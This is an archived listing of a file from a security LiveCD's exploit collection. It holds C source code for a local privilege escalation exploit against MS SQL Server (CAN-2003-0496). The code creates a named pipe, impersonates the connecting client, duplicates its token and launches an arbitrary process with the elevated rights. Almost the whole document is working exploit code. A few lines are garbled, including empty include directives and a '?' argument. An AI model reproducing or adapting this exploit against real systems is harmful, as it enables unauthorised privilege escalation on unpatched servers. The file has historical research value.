home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mssql / mssql named pipe privilege escalation.txt < prev    next >
Text File  |  2005-02-12  |  3KB  |  113 lines

  1. /* 
  2.   *  Author:  Maceo and wirepair
  3.   *  Modified to take advantage of CAN-2003-0496 Named Pipe Filename 
  4.   *  MSSQL Local Privilege Escalation Found by @stake. Use with their advisory
  5.   */
  6.  
  7.  
  8. #include 
  9. #include 
  10.  
  11.  
  12. int main(int argc, char **argv)
  13. {
  14.    char szPipe[64];
  15.    DWORD dwNumber = 0;
  16.    DWORD dwType = REG_DWORD;
  17.    DWORD dwSize = sizeof(DWORD);
  18.    DWORD dw = GetLastError();
  19.    HANDLE hToken, hToken2;
  20.    PGENERIC_MAPPING pGeneric;
  21.    SECURITY_ATTRIBUTES sa;
  22.    DWORD dwAccessDesired;
  23.    PACL pACL = NULL;
  24.    PSECURITY_DESCRIPTOR pSD = NULL;
  25.    STARTUPINFO si;
  26.    PROCESS_INFORMATION pi;
  27.  
  28.  
  29.    if (argc != 2) {
  30.       fprintf(stderr, "Usage: %s \nNamed Pipe Local 
  31. Priv Escalation found by @stake.\n"
  32.                        "This code is to be used with MS-SQL exactly as 
  33. outlined in their advisory\n"
  34.                        "All credit for this code goes to Maceo, he did a 
  35. fine job.. -wire\n"
  36.                        "Also thanks goes to brett Moore for helping me 
  37. with DuplicateTokenEx, thanks buddy guy!\n",argv[0]);
  38.                        exit(1);
  39.    }
  40.    memset(&si,0,sizeof(si));
  41.    sprintf(szPipe, "\\\\.\\pipe\\poop");
  42.  
  43.    // create the named pipe
  44.    HANDLE hPipe = 0;
  45.    hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, 
  46. PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
  47.    if (hPipe == INVALID_HANDLE_VALUE) {
  48.      printf ("Failed to create named pipe:\n  %s\n", 
  49. szPipe);
  50.      return 3;
  51.    }
  52.    printf("Created Named Pipe: \\\\.\\pipe\\poop\n");
  53.  
  54.    // setup security attribs
  55.    pSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, 
  56. SECURITY_DESCRIPTOR_MIN_LENGTH); 
  57.    InitializeSecurityDescriptor(pSD, 
  58. SECURITY_DESCRIPTOR_REVISION);
  59.    SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE); 
  60.    sa.nLength = sizeof (SECURITY_ATTRIBUTES);
  61.    sa.lpSecurityDescriptor = pSD;
  62.    sa.bInheritHandle = FALSE;
  63.  
  64.    printf("Waiting for connection...\n");
  65.    // wait for client to connect 
  66.    ConnectNamedPipe (hPipe, NULL);
  67.  
  68.    // assume the identity of the client //
  69.    if (!ImpersonateNamedPipeClient (hPipe)) {
  70.      printf ("Failed to impersonate the named pipe.\n");
  71.      CloseHandle(hPipe);
  72.      return 5;
  73.    }
  74.  
  75.    if (!OpenThreadToken(GetCurrentThread(), 
  76. TOKEN_ALL_ACCESS, TRUE, &hToken )) {
  77.          if (hToken != INVALID_HANDLE_VALUE) {
  78.              printf("GetLastError: %u\n", dw);
  79.               CloseHandle(hToken);
  80.              exit(0);
  81.          }
  82.    }
  83.    
  84.    printf("Duplicating Token...\n");
  85.    if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,&sa,SecurityImpersonation, 
  86. TokenPrimary,&hToken2) == 0) {
  87.       printf("error in duplicate token\n");
  88.       printf("GetLastError: %u\n", dw);
  89.       exit(0);
  90.    }
  91.    MapGenericMask( &dwAccessDesired, pGeneric );
  92.  
  93.    // display impersonating users name
  94.    dwSize  = 256;
  95.    char szUser[256];
  96.    GetUserName(szUser, &dwSize);
  97.    printf ("Impersonating: %s\n", szUser);
  98.  
  99.    si.cb = sizeof(si);
  100.    si.lpDesktop = NULL;
  101.  
  102.    printf("Creating New Process %s\n", argv[1]);     
  103.    if(!CreateProcessAsUser(hToken2, NULL, argv[1], &sa, 
  104. &sa,true, NORMAL_PRIORITY_CLASS | 
  105. CREATE_NEW_CONSOLE,NULL,NULL,&si, ?)) {
  106.       printf("GetLastError: %u\n", dw);
  107.    }
  108.    CloseHandle(hPipe);
  109.  
  110.    return 0;
  111. }
  112.  
  113.